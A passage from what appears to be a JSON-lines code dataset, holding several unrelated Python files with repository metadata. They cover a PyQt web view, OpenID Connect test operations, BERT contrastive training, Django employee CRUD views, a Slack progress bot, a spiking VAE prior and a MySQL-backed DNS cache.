os.path.join(os.path.dirname(os.path.realpath(__file__)), \"test2.html\")\n        print(path)\n        #html = open('test2.html', 'r').read()\n        self.browser = QWebEngineView()\n        self.browser.setPage(  WebPage( self.browser ) )\n        #self.browser.load(QUrl.fromLocalFile(path))\n        self.browser.load(QUrl(\"http://localhost:5000\"))\n        #//self.browser.setHtml(\")\n        #self.browser.loadFinished.connect(self.onLoadFinished)\n\n    \"\"\"\n    def onLoadFinished(self, ok):\n\tpass\n        #if ok:\n        #    #self.browser.page().runJavaScript(\"helloWorld(1, \\\"2\\\")\", self.ready)\n    \"\"\"\n    def __layout(self):\n        self.vbox = QVBoxLayout()\n        self.hBox = QVBoxLayout()\n        self.hBox.addWidget(self.browser)\n        self.vbox.addLayout(self.hBox)\n        self.setLayout(self.vbox)\n\n    def ready(self, returnValue):\n        print(returnValue)\n\ndef main():\n    app = QApplication(sys.argv)\n    win = MainWindow()\n    win.show()\n    return app.exec_()\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n","repo_name":"zebulon75018/QSpreadSheetTable","sub_path":"server/testweb2.py","file_name":"testweb2.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"824872555","text":"import json\nimport logging\nimport os\nfrom urlparse import urlparse\nfrom bs4 import BeautifulSoup\n\nfrom oic.oauth2 import rndstr\nfrom oic.oic import AuthorizationRequest\nfrom oic.oic import ProviderConfigurationResponse\nfrom oic.oic import RegistrationResponse\nfrom oic.oic import AuthorizationResponse\nfrom oic.oic import AccessTokenResponse\nfrom prof_util import WEBFINGER, RESPONSE\nfrom prof_util import DISCOVER\nfrom prof_util import REGISTER\n\n__author__ = 'roland'\n\nlogger = logging.getLogger(__name__)\n\n\ndef include(url, test_id):\n    p = urlparse(url)\n    if p.path[1:].startswith(test_id):\n        if len(p.path[1:].split(\"/\")) <= 1:\n            return os.path.join(url, \"_/_/_/normal\")\n        else:\n            return url\n\n    return \"%s://%s/%s%s_/_/_/normal\" % (p.scheme, p.netloc, test_id, p.path)\n\n\ndef print_result(resp):\n    try:\n        cl_name = resp.__class__.__name__\n    except AttributeError:\n        cl_name = \"\"\n        txt = resp\n    else:\n        txt = json.dumps(resp.to_dict(), sort_keys=True, indent=2,\n                         separators=(',', ': '))\n\n    logging.info(\"{}: {}\".format(cl_name, txt))\n\n\nclass Operation(object):\n    def __init__(self, conv, profile, test_id, conf, funcs):\n        self.conv = conv\n        self.funcs = funcs\n        self.test_id = test_id\n        self.conf = conf\n        self.profile = profile.split('.')\n        self.req_args = {}\n        self.op_args = {}\n        self.expect_exception = None\n\n    def __call__(self, *args, **kwargs):\n        pass\n\n    def _setup(self):\n        for op, arg in self.funcs.items():\n            op(self, arg)\n\n    def map_profile(self, profile_map):\n        try:\n            funcs = profile_map[self.__class__][self.profile[RESPONSE]]\n        except KeyError:\n            pass\n        else:\n            for op, arg in funcs.items():\n                op(self, arg)\n\n    def setup(self, profile_map):\n        self.map_profile(profile_map)\n        self._setup()\n\n    def catch_exception(self, func, **kwargs):\n        try:\n            self.conv.trace.info(\n                \"Running {} with kwargs: {}\".format(func, kwargs))\n            res = func(**kwargs)\n        except Exception as err:\n            res = None\n            if not self.expect_exception: # No exception expected, propagate it\n                raise\n            else:\n                assert isinstance(err, self.expect_exception)\n        else:\n            self.conv.trace.reply(res)\n\n        return res\n\n\nclass Webfinger(Operation):\n    def __init__(self, conv, profile, test_id, conf, funcs):\n        Operation.__init__(self, conv, profile, test_id, conf, funcs)\n        self.resource = \"\"\n        self.dynamic = self.profile[WEBFINGER] == \"T\"\n\n    def __call__(self):\n        if not self.dynamic:\n            self.conv[\"issuer\"] = self.conf.INFO[\"srv_discovery_url\"]\n        else:\n            self.conv.trace.info(\n                \"Discovery of resource: {}\".format(self.resource))\n            issuer = self.conv.client.discover(self.resource)\n            self.conv.trace.reply(issuer)\n            self.conv.info[\"issuer\"] = issuer\n\n    def setup(self, profile_map):\n        self.map_profile(profile_map)\n        self._setup()\n\n        try:\n            self.resource = self.op_args[\"resource\"]\n        except KeyError:\n            self.resource = self.conf.ISSUER+self.test_id\n\n\nclass Discovery(Operation):\n    def __init__(self, conv, session, test_id, conf, funcs):\n        Operation.__init__(self, conv, session, test_id, conf, funcs)\n\n        self.dynamic = self.profile[DISCOVER] == \"T\"\n\n    def __call__(self):\n        if self.dynamic:\n            self.catch_exception(self.conv.client.provider_config,\n                                 **self.op_args)\n        else:\n            self.conv.client.provider_info = ProviderConfigurationResponse(\n                **self.conf.INFO[\"provider_info\"]\n            )\n\n    def setup(self, profile_map):\n        self.map_profile(profile_map)\n        self._setup()\n\n        if self.dynamic:\n            try:\n                _issuer = include(self.op_args[\"issuer\"], self.test_id)\n            except KeyError:\n                _issuer = include(self.conv.info[\"issuer\"], self.test_id)\n\n            self.op_args[\"issuer\"] = _issuer\n\n\nclass Registration(Operation):\n    def __init__(self, conv, session, test_id, conf, funcs):\n        Operation.__init__(self, conv, session, test_id, conf, funcs)\n\n        self.dynamic = self.profile[REGISTER] == \"T\"\n\n    def __call__(self):\n        if self.dynamic:\n            self.catch_exception(self.conv.client.register, **self.req_args)\n        else:\n            self.conv.client.store_registration_info(\n                RegistrationResponse(**self.conf.INFO[\"registered\"]))\n\n    def setup(self, profile_map):\n        self.map_profile(profile_map)\n        self._setup()\n\n        if self.dynamic:\n            self.req_args.update(self.conf.INFO[\"client\"])\n            self.req_args[\"url\"] = self.conv.client.provider_info[\n                \"registration_endpoint\"]\n\n\nclass Request(Operation):\n    def __init__(self, conv, session, test_id, conf, funcs):\n        Operation.__init__(self, conv, session, test_id, conf, funcs)\n\n    \nclass Authn(Request):\n    def __init__(self, conv, session, test_id, conf, funcs):\n        Request.__init__(self, conv, session, test_id, conf, funcs)\n\n        self.op_args[\"endpoint\"] = conv.client.provider_info[\n            \"authorization_endpoint\"]\n            \n        conv.state = rndstr()\n        self.req_args[\"state\"] = conv.state\n        conv.nonce = rndstr()\n        self.req_args[\"nonce\"] = conv.nonce\n\n    def setup(self, profile_map):\n        self.map_profile(profile_map)\n        self._setup()\n\n        self.req_args[\"redirect_uri\"] = self.conv.callback_uris[0]\n\n    def __call__(self):\n        url, body, ht_args, csi = self.conv.client.request_info(\n            AuthorizationRequest, method=\"GET\", request_args=self.req_args,\n            **self.op_args)\n\n        self.catch_exception(self.do_authentication_request, url=url,\n                             ht_args=ht_args, csi=csi)\n\n    def do_authentication_request(self, url, ht_args, csi):\n        self.conv.trace.request(url)\n        self.conv.trace.request(\"HT_ARGS: {}\".format(ht_args))\n        r = self.conv.client.http_request(url, **ht_args)\n        resp = None\n        if 300 < r.status_code < 400:\n            r = self.conv.intermit(r)\n            resp = self.conv.parse_request_response(\n                r, AuthorizationResponse, body_type=\"urlencoded\",\n                state=self.conv.state, keyjar=self.conv.client.keyjar)\n        elif r.status_code == 200:\n            resp = AuthorizationResponse()\n            if \"response_mode\" in csi and csi[\"response_mode\"] == \"form_post\":\n                forms = BeautifulSoup(r.content).findAll('form')\n                for inp in forms[0].find_all(\"input\"):\n                    resp[inp.attrs[\"name\"]] = inp.attrs[\"value\"]\n            resp.verify(keyjar=self.conv.client.keyjar)\n\n        self.conv.trace.response(resp)\n        return resp\n\n\nclass AccessToken(Request):\n    def __init__(self, conv, session, test_id, conf, args):\n        Request.__init__(self, conv, session, test_id, conf, args)\n        self.op_args[\"state\"] = conv.state\n        self.req_args[\"redirect_uri\"] = conv.client.redirect_uris[0]\n\n    def __call__(self):\n        self.conv.trace.info(\n            \"Access Token Request with args: {}\".format(self.args))\n        atr = self.conv.client.do_access_token_request(\n            request_args=self.req_args, **self.op_args)\n        self.conv.trace.response(atr)\n        assert isinstance(atr, AccessTokenResponse)\n\n\nclass UserInfo(Request):\n    def __init__(self, conv, session, test_id, conf, args):\n        Request.__init__(self, conv, session, test_id, conf, args)\n        self.op_args[\"state\"] = conv.state\n\n    def __call__(self):\n        user_info = self.conv.client.do_user_info_request(**self.args)\n        assert user_info\n        self.conv.client.userinfo = user_info\n\n\nclass DisplayUserInfo(Operation):\n    pass\n\n\n# NAME2CLASS = {\n#     \"webfinger\": Webfinger,\n#     \"static_webfinger\": StaticWebFinger,\n#     \"provider-discovery\": Discovery,\n#     \"static_discovery\": StaticDiscovery,\n#     \"oic-registration\": Registration,\n#     \"static_registration\": StaticRegistration,\n#     \"oic-login\": Authn,\n#     \"access-token-request\": AccessToken,\n#     \"userinfo\": UserInfo,\n#     \"display_userinfo\": DisplayUserInfo\n# }","repo_name":"rohe/oictest","sub_path":"test/oic_rp/rp/oper.py","file_name":"oper.py","file_ext":"py","file_size_in_byte":8432,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"16"}
+{"seq_id":"1426022895","text":"countfile = open('counts.csv','r')\nntestimages = 800\npartitionsize=80\nnpatchesperimage = 1200\nnpartitions = ntestimages/partitionsize\noutdir = '../../data'\n\nfor ipartition in range(npartitions):\n    filelist = []\n    objectcount = 0\n    outfile = open('%s/testpartition_%.2d.txt' % (outdir,ipartition),'w')\n    for ifile in range(partitionsize):\n        s1 = countfile.readline()\n        s2 = s1.replace('\"','').replace(';','').replace('\\n','').split()\n        filelist.append(s2[0])\n        objectcount += int(s2[1])\n    posnegratio = (1.0*objectcount)/(partitionsize*npatchesperimage)\n    outfile.write('%.4f\\n' % (posnegratio))\n    for ifile in range(partitionsize):\n        outfile.write('%s\\n' % (filelist[ifile]))\n    outfile.close()\ncountfile.close()\n","repo_name":"makerere-compute/ocula","sub_path":"src/training/preparation/creattestpartitions.py","file_name":"creattestpartitions.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"31347737463","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom transformers import AutoTokenizer, AutoModel\r\nfrom torch.utils.data import DataLoader, Dataset\r\nimport random\r\nimport tqdm\r\nimport os\r\n# 使用对比学习训练一个BERT模型。通过学习将相似的文本投影到相似的表示空间，模型可以学会捕捉文本之间的关系。\r\n# 设置transformers库中环境变量，强制使用utf-8编码\r\nos.environ[\"PYTHONIOENCODING\"] = \"utf-8\"\r\n\r\nclass ContrastiveDataset(Dataset):\r\n    def __init__(self, texts, tokenizer, max_length=128):\r\n        self.texts = texts\r\n        self.tokenizer = tokenizer\r\n        self.max_length = max_length\r\n    # 返回数据集中文本数量\r\n    def __len__(self):\r\n        return len(self.texts)\r\n    # 使用分词器将文本转化为模型输入格式\r\n    def __getitem__(self, idx):\r\n        text = self.texts[idx]\r\n        inputs = self.tokenizer(text, return_tensors='pt', max_length=self.max_length, padding='max_length', truncation=True)\r\n        return inputs['input_ids'].squeeze(), inputs['attention_mask'].squeeze()\r\n\r\nclass ContrastiveModel(nn.Module):\r\n    def __init__(self, base_model_name, projection_dim=128):\r\n        super().__init__()\r\n        self.encoder = AutoModel.from_pretrained(base_model_name, from_tf=False)\r\n        self.projection = nn.Linear(self.encoder.config.hidden_size, projection_dim)\r\n\r\n    def forward(self, input_ids, attention_mask):\r\n        outputs = self.encoder(input_ids=input_ids, attention_mask=attention_mask)\r\n        hidden_states = outputs.last_hidden_state[:, 0]\r\n        projections = self.projection(hidden_states)\r\n        return projections\r\n\r\n\r\n\r\ndef contrastive_loss(projections, temperature=0.5):\r\n    device = projections.device\r\n    batch_size = projections.size(0)\r\n    similarity_matrix = torch.matmul(projections, projections.T) / temperature\r\n    labels = torch.arange(batch_size).to(device)\r\n    return nn.CrossEntropyLoss()(similarity_matrix, labels)\r\n\r\ndef train_epoch(model, dataloader, optimizer, device):\r\n    model.train()\r\n    total_loss = 0\r\n    for input_ids, attention_mask in dataloader:\r\n        input_ids = input_ids.to(device)\r\n        attention_mask = attention_mask.to(device)\r\n        projections = model(input_ids, attention_mask)\r\n        loss = contrastive_loss(projections)\r\n\r\n        optimizer.zero_grad()\r\n        loss.backward()\r\n        optimizer.step()\r\n\r\n        total_loss += loss.item()\r\n\r\n    return total_loss / len(dataloader)\r\n\r\ndef load_texts_from_file(file_path):\r\n    with open(file_path, 'r', encoding='utf-8') as f:\r\n        texts = [line.strip() for line in f.readlines()]\r\n    return texts\r\n\r\nfile_path = 'your_text_file.txt'\r\ntexts = load_texts_from_file(file_path)\r\ndataset = ContrastiveDataset(texts, tokenizer)\r\n\r\n\r\ndef main():\r\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n    base_model_name = \"bert-base-uncased\"\r\n    tokenizer = AutoTokenizer.from_pretrained(base_model_name)\r\n\r\n    # Replace with your own text dataset\r\n    texts = [\r\n        \"Natural language processing is a subfield of linguistics.\",\r\n        \"The history of NLP generally starts in the 1950s.\",\r\n        \"Machine learning algorithms for language processing.\",\r\n        \"Deep learning-based approaches to NLP.\"\r\n    ]\r\n\r\n    dataset = ContrastiveDataset(texts, tokenizer)\r\n    dataloader = DataLoader(dataset, batch_size=4, shuffle=True)\r\n\r\n    model = ContrastiveModel(base_model_name).to(device)\r\n    optimizer = optim.Adam(model.parameters(), lr=1e-5)\r\n\r\n    num_epochs = 100\r\n    for epoch in range(num_epochs):\r\n        epoch_loss = train_epoch(model, dataloader, optimizer, device)\r\n        print(f\"Epoch: {epoch + 1}/{num_epochs}, Loss: {epoch_loss:.4f}\")\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"1836533846/contra_learning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30562529245","text":"from django.shortcuts import render, redirect\nfrom django.views.generic.base import TemplateView\nfrom karyawan.models import Employee\nfrom karyawan.forms import FormEmployee\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nfrom django.template import loader\nfrom django.http import HttpResponse\n\ndef gettemplate(request):\n    template = loader.get_template('registration/login.html')\n\n    return HttpResponse(template.render)\n\nclass LandingView(TemplateView):\n    template_name = 'registration/login.html'\n\n@login_required(login_url=settings.LOGIN_URL)\ndef delete_employee(request, id_employee):\n    employee = Employee.objects.filter(id=id_employee)\n    employee.delete()\n\n    return redirect('employee')\n\n@login_required(login_url=settings.LOGIN_URL)\ndef edit_employee(request, id_employee):\n    employee = Employee.objects.get(id=id_employee)\n    template = 'edit-employee.html'\n    if request.POST:\n        form = FormEmployee(request.POST, instance=employee)\n        if form.is_valid():\n            form.save()\n            messages.success(request, \"data has been changed successfully!\")\n            return redirect('edit_employee', id_employee=id_employee)\n    else:\n        form = FormEmployee(instance=employee)\n        konteks = {\n            'form' : form,\n            'employee' : employee,\n        }\n            \n    return render(request, template, konteks)\n\n\n@login_required(login_url=settings.LOGIN_URL)\ndef employee(request):\n    employees = Employee.objects.all()\n\n    konteks = {\n        'employees' : employees,\n    }\n\n    return render(request, 'employee.html', konteks)\n\n@login_required(login_url=settings.LOGIN_URL)\ndef add_employee(request):\n    if request.POST:\n        form = FormEmployee(request.POST)\n        if form.is_valid:\n            form.save()\n            form = FormEmployee()\n            message = \"Data Saved Successfully \"\n\n            konteks = {\n            'form' : form,\n            'message' : message, \n        }\n\n        return render(request, 'add-employee.html', konteks)\n\n    else:\n        form = FormEmployee()\n\n        konteks = {\n            'form' : form,\n        }\n\n        return render(request, 'add-employee.html', konteks)\n\n# Create your views here.\n","repo_name":"mrh09/CRUD-py","sub_path":"karyawan/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24739617961","text":"from datetime import timedelta\nimport pandas as pd\nimport pickle\nimport sf_bot\nimport math\nfrom datetime import datetime\n\n\"\"\"returns a pandas dataframe after parsing the dates\"\"\"\n\n\ndef parse_df_dates(df):\n    for c in df.columns:\n        df[c] = pd.to_datetime(df[c], infer_datetime_format=True)\n    return df\n\n\n\"\"\"Returns the currently working assignment pandas series with last completed as input\"\"\"\n\n\ndef get_currently_working(df):\n    # gets the index of the dataframe with highest date\n    temp = df.idxmax(axis=1)\n    current = pd.Series()\n    cols = list(df.columns)\n    to_drop = []\n    for t in temp.index:\n        # skip if the student has completed the orientation\n        if temp[t] == 'R3':\n            to_drop.append(t)\n            continue\n        # At least one assignment was verfied\n        if not pd.isnull(temp[t]):\n            nxt = cols.index(temp[t]) + 1\n            # if nxt<len(cols):\n            current[t] = cols[nxt]\n            # else:\n            #     current[t]=cols[nxt-1]\n        # no assingment verified\n        else:\n            current[t] = 'A1-a'\n    return current, to_drop\n\n\n\"\"\"Returns the last completed assignment pandas series with last completed as input\"\"\"\n\n\ndef last_completed(completed):\n    # get last completed date\n    completed = completed.T\n    temp = completed.max(axis=0)\n    temp = temp - datetime.now()\n\n    # impossible case used as flag for no work completed\n    temp.fillna(value=timedelta(days=7), inplace=True)\n    last = pd.Series()\n    for t in temp.index:\n        # to weeks\n        last[t] = int(temp[t].days / 7)\n    return last\n\n\n\"\"\"Computes the status by subracting doj and today\"\"\"\n\n\ndef compute_status(doj, curr):\n    days_per_assignment = 7\n    stat = pd.Series(dtype=timedelta)\n    # date after joining for each student\n    days_elapsed = datetime.now() - doj\n    # print(curr)\n    for i in days_elapsed.index:\n        # check the currently working assignment\n        if 'A' in curr[i]:\n            assignment = int(curr[i][1])\n        elif curr[i][0] == 'M' or curr[i][0] == 'R':\n            assignment = 7\n        else:\n            assignment = 8\n        # if in assingments\n        if assignment < 7:\n            stat[i] = days_elapsed[i] - \\\n                timedelta(days=days_per_assignment * assignment)\n        # else if in motor project\n        elif assignment == 7:\n            # buffer period of 45 days for completion\n            stat[i] = timedelta(days=-7) if days_elapsed[i] < timedelta(days=days_per_assignment *\n                                                                        6 + 45) else days_elapsed[i] - timedelta(days=days_per_assignment * 6 + 45)\n    return stat\n\n# draft a slack messsage\n\n\ndef create_message(status, current, o_data, user_df, last):\n    work_dict = {\n        'A1-a': 'Assignment 1a', 'A1-b': 'Assignment 1b', 'A2-a': 'Assignment 2-a', 'A2-b': 'Assignment 2-b', 'A3-a': 'Assignment 3-a', 'A3-b': 'Assignment 3-b', 'A4-a': 'Assignment 4-a', 'A4-b': 'Assignment 4-b', 'A5-a': 'Assignment 5-a', 'A5-b': 'Assignment 5-b', 'A6-a': 'Assignment 6-a', 'A6-b': 'Assignment 6-b', 'M1': 'Project module 1', 'M2': 'Project module 2', 'M3': 'Project module 3', 'R1': 'Review 1', 'R2': 'Review 2', 'R3': 'Review 3'\n    }\n    global msg\n\n    msg = '_*Weekly Performance Update:*_\\n+ => Lead and - => Lag'\n    for i in status.index:\n        # remove i\n        msg += '\\n*' + user_df.loc[i]['full_name'] + \\\n            \" (<@\" + user_df.loc[i]['id'] + \">)\" + \\\n               \"*:\\n In \" + work_dict[str(current[i])]\n        if o_data.loc[i]['Track'] != 2:\n            # convert the days into weeks (and rounding it off)\n            weeks = math.ceil(int(str(status[i]).split(' ')[0]) / 7 + 1)\n            weeks = '-' + str(weeks) if weeks > 0 else '+' + str(abs(weeks))\n            if weeks != '+0':\n                msg += \": _\" + weeks + \" Week(s)_\"\n            else:\n                msg += \": on track\"\n        msg += '\\n'\n        # impossible flag i.e. not yet started\n        if last[i] == 1:\n            msg += 'No work completed yet'\n        elif last[i] == 0:\n            msg += 'Last work completed this week'\n        else:\n            msg += 'Last work completed before %d week(s) ' % abs(last[i])\n    return msg\n\n\n'''\n    Returns Parsed spreadsheet data\n    Arguments: None\n    Returns:\n    o_data-> A pandas dataframe consisting of students D.o.J and their o_data\n    completed -> A pandas dataframe consting of dates when the assignments were completed\n'''\n\n\ndef get_progress():\n    '''    \n        # usernames,duration,post_it=arg_parser.get_parsed_arguments()\n        # print(usernames,duration,post_it)\n    '''\n    o_data = pd.read_csv(\n        'orientation/orientation_data.csv', sep=',', index_col=0)\n    o_data['doj'] = pd.to_datetime(o_data['doj'], infer_datetime_format=True)\n\n    completed = parse_df_dates(pd.read_csv(\n        'orientation/completed.csv', sep=',', index_col=0))\n\n    # get D.o.J which is the date when the first assignment was sent\n    doj = o_data['doj']\n    # print(doj)\n    # get current work\n    current, to_drop = get_currently_working(df=completed)\n    # get last completed\n    last = last_completed(completed)\n\n    # drop if completed orientation only from doj,o_data,last,completed\n    completed.drop(to_drop, inplace=True), doj.drop(to_drop, inplace=True)\n    o_data.drop(to_drop, inplace=True), last.drop(to_drop, inplace=True)\n    # save them if anything was dropped\n    if to_drop != []:\n        # print('Updating the data (SCT)')\n        completed.to_csv('orientation/completed.csv', sep=',')\n        o_data.to_csv('orientation/orientation_data.csv', sep=',')\n\n    # calculate expected dates\n    status = compute_status(doj, current)\n    # print('Status is:\\n {}'.format(status))\n    # making slack user_name the primary key\n    user_df = sf_bot.get_userdf()\n    user_df.index = user_df['name']\n    del user_df['name']\n\n    # drafting a message to be posted on the slack\n    msg = create_message(status, current, o_data, user_df, last)\n    print('Message is %s' % msg)\n    # #post to aashish\n    # sf_bot.bot.chat.post_message('U39BM0PCN',msg,as_user=True)\n    # post to sf_ta\n    sf_bot.post_message(msg, \"sf_ta\")\n    return msg\n\n\nif __name__ == \"__main__\":\n    get_progress()\n","repo_name":"adithya8/TA-Task-Automation-Using-Slack","sub_path":"progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":6232,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"20074910672","text":"from argparse import ZERO_OR_MORE\nimport math\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.modules.module import T\n\nimport global_v as glv\n\nfrom .snn_layers import *\n\n# 先验z生成器\nclass PriorBernoulliSTBP(nn.Module):\n    def __init__(self, k=20) -> None:\n        \n        # 先验z根据之前的输入z来生成目前的z\n        # 得到的先验概率，即按理来说应该是这样\n        \"\"\"\n        modeling of p(z_t|z_<t)\n        \"\"\"\n        \n        \n        super().__init__()\n        self.channels = glv.network_config['latent_dim']\n        self.k = k\n        self.n_steps = glv.network_config['n_steps']\n        \n        # 这个东西由全连接层组成\n        self.layers = nn.Sequential(\n            tdLinear(self.channels,\n                    self.channels*2,\n                    bias=True,\n                    bn=tdBatchNorm(self.channels*2, alpha=2), \n                    spike=LIFSpike()),\n            tdLinear(self.channels*2,\n                    self.channels*4,\n                    bias=True,\n                    bn=tdBatchNorm(self.channels*4, alpha=2),\n                    spike=LIFSpike()),\n            tdLinear(self.channels*4,\n                    self.channels*k,\n                    bias=True,\n                    bn=tdBatchNorm(self.channels*k, alpha=2),\n                    spike=LIFSpike())\n        )\n        \n        # .register_buffer：该方法的作用是定义一组参数，该组参数的特别之处在于：模型训练时不会更新（即调用 optimizer.step() 后该组参数不会变化，只可人为地改变它们的值），但是保存模型时，该组参数又作为模型参数不可或缺的一部分被保存\n        # 因此这个initial_input被固定为形状为(1,c,1)的全0值，作为z0\n        self.register_buffer('initial_input', torch.zeros(1, self.channels, 1))# (1,C,1)\n\n\n    def forward(self, z, scheduled=False, p=None):\n        if scheduled:\n            return self._forward_scheduled_sampling(z, p)\n        else:\n            return self._forward(z)\n    \n    def _forward(self, z):\n        \n        # 前向传播，从先验分布中进行采样，说是这么说，采样其实也是通过神经网络进行的\n        # 输入BCT，变成BCkT\n        \"\"\"\n        input z: (B,C,T) # latent spike sampled from posterior\n        output : (B,C,k,T) # indicates p(z_t|z_<t) (t=1,...,T)\n        \"\"\"\n        z_shape = z.shape # (B,C,T)\n        batch_size = z_shape[0]\n        z = z.detach()\n        \n        # 初始化的z_0，本来形状是(1,c,1),扩展为(B,C,1)\n        z0 = self.initial_input.repeat(batch_size, 1, 1) # (B,C,1)\n        \n        # 将输入z0与z进行拼接\n        # 即将形状(B,C,1)的z0与形状为(B,C,T-1)的latent_x组合\n        # 这里z[...,:-1]选取的是最后一个维度的除了最后一个元素的所有元素\n        inputs = torch.cat([z0, z[...,:-1]], dim=-1) # (B,C,T)\n        \n        # 输出根据input得到\n        outputs = self.layers(inputs) # (B,C*k,T)\n        \n        # 先验z即将上述outputs堆叠得到，为什么选择k？\n        p_z = outputs.view(batch_size, self.channels, self.k, self.n_steps) # (B,C,k,T)\n        return p_z\n\n    def _forward_scheduled_sampling(self, z, p):\n        \"\"\"\n        use scheduled sampling\n        input \n            z: (B,C,T) # latent spike sampled from posterior\n            p: float # prob of scheduled sampling\n        output : (B,C,k,T) # indicates p(z_t|z_<t) (t=1,...,T)\n        \"\"\"\n        z_shape = z.shape # (B,C,T)\n        batch_size = z_shape[0]\n        z = z.detach()\n\n        z_t_minus = self.initial_input.repeat(batch_size,1,1) # z_<t, z0=zeros:(B,C,1)\n        if self.training:\n            with torch.no_grad():\n                for t in range(self.n_steps-1):\n                    if t>=5 and random.random() < p: # scheduled sampling                    \n                        outputs = self.layers(z_t_minus.detach()) #binary (B, C*k, t+1) z_<=t\n                        p_z_t = outputs[...,-1] # (B, C*k, 1)\n                        # sampling from p(z_t | z_<t)\n                        prob1 = p_z_t.view(batch_size, self.channels, self.k).mean(-1) # (B,C)\n                        prob1 = prob1 + 1e-3 * torch.randn_like(prob1) \n                        z_t = (prob1>0.5).float() # (B,C)\n                        z_t = z_t.view(batch_size, self.channels, 1) #(B,C,1)\n                        z_t_minus = torch.cat([z_t_minus, z_t], dim=-1) # (B,C,t+2)\n                    else:\n                        z_t_minus = torch.cat([z_t_minus, z[...,t].unsqueeze(-1)], dim=-1) # (B,C,t+2)\n        else: # for test time\n            z_t_minus = torch.cat([z_t_minus, z[:,:,:-1]], dim=-1) # (B,C,T)\n\n        z_t_minus = z_t_minus.detach() # (B,C,T) z_{<=T-1} \n        p_z = self.layers(z_t_minus) # (B,C*k,T)\n        p_z = p_z.view(batch_size, self.channels, self.k, self.n_steps)# (B,C,k,T)\n        return p_z\n\n    def sample(self, batch_size=64):\n        z_minus_t = self.initial_input.repeat(batch_size, 1, 1) # (B, C, 1)\n        for t in range(self.n_steps):\n            outputs = self.layers(z_minus_t) # (B, C*k, t+1)\n            p_z_t = outputs[...,-1] # (B, C*k, 1)\n\n            random_index = torch.randint(0, self.k, (batch_size*self.channels,)) \\\n                            + torch.arange(start=0, end=batch_size*self.channels*self.k, step=self.k) #(B*C,) pick one from k\n            random_index = random_index.to(z_minus_t.device)\n\n            z_t = p_z_t.view(batch_size*self.channels*self.k)[random_index] # (B*C,)\n            z_t = z_t.view(batch_size, self.channels, 1) #(B,C,1)\n            z_minus_t = torch.cat([z_minus_t, z_t], dim=-1) # (B,C,t+2)\n\n        \n        sampled_z = z_minus_t[...,1:] # (B,C,T)\n\n        return sampled_z\n\n","repo_name":"Arktis2022/SNN-VAE-DMSVDD","sub_path":"fsvae_models/fsvae_prior.py","file_name":"fsvae_prior.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"24437162618","text":"#-*- coding:utf-8 -*-\nfrom DNSPacket import DNSHeader,DNSQuestion,DNSMessage,DNSRR\nfrom DNSSocket import Options\nimport mysql.connector\nimport struct\nimport socket\nimport time\n\nclass DNS_DB:\n    def __init__(self,user = Options.databaseUserName ,password = Options.databasePassword ,\n                 host = Options.databaseHost ,port = Options.databasePort ,database = Options.database):\n        '''\n        初始化数据库连接信息\n        '''\n        self._user = user\n        self._password =  password\n        self._host     =  host\n        self._port     =  port\n        self._database =  database\n        self._connect  =  None\n        self._cursor   =  None\n        # print('-Create database sample successfully')\n\n    def _connect_db(self):    \n        '''\n        建立连接\n        '''   \n        try:\n            self._connect = mysql.connector.connect(user=self._user,\n                                                    password=self._password,\n                                                    host=self._host,\n                                                    port=self._port,\n                                                    database=self._database)\n            self._cursor  = self._connect.cursor()\n        except Exception as err:\n            print(\"connect error = %s\"%err)\n        # print('-Connect to {} successfully'.format(self._database))\n    \n    def _close_db(self):\n        '''\n        关闭连接,防止泄露\n        '''\n        try:\n            self._cursor.close()\n            self._connect.close()\n        except Exception as err:\n            print(\"close error = %s\"%err)\n        # print('-Close connect successfully')\n    \n    def getDomainIpMap(self,QNAME,QTYPE,QCLASS):\n        '''\n        根据域名、TYPE、CLASS查询数据库中对应的值\n        返回一个列表类型的查询结果和布尔类型的值\n        返回值的格式为：[(name1, type1, class1, ttl1, data1,timestamp1),(name2, type2, class2, ttl2, data2,timestamp2),]\n        '''\n        condition=('SELECT * FROM dnsrr WHERE NAME=%s and TYPE=%s and CLASS=%s')\n        parameter=(QNAME, QTYPE, QCLASS)\n        self._cursor.execute(condition,parameter)\n        answer_list = self._cursor.fetchall()   # 列表类型，每个结果是一个元组  eg. [(name1, type1, class1, ttl1, data1,timestamp1),]\n        \n        if answer_list:    #查询得到结果，但没有检测是否过期\n            current_time =int(time.time())\n            for item in answer_list:       #检验TTL\n                if current_time-item[5]>item[3]:    #记录过期\n                    condition=('DELETE FROM dnsrr WHERE NAME=%s and TYPE=%s and CLASS=%s')\n                    parameter=(QNAME, QTYPE, QCLASS)\n                    self._cursor.execute(condition,parameter)  #删除过期\n                    self._connect.commit()\n                    print('过期已删除',QNAME)\n                    return None,False     \n                else:                               #记录有效\n                    return answer_list,True\n        else:\n            if QTYPE =='A':\n                temp_answer, flag = self.getDomainIpMap(QNAME, 'CNAME', QCLASS)\n                answer_list = []\n                findResult = False\n                if flag:\n                    for item in temp_answer:\n                        answer, isSelected = self.getDomainIpMap(item[4], 'A', QCLASS)\n                        if isSelected:\n                            answer_list.append(item)\n                            answer_list.extend(answer)\n                            findResult = True\n                    if findResult:\n                        return answer_list, True\n            return None,False\n        \n    def _insert_db(self,records):\n        '''\n        将列表类型的RRs信息，存入数据库\n        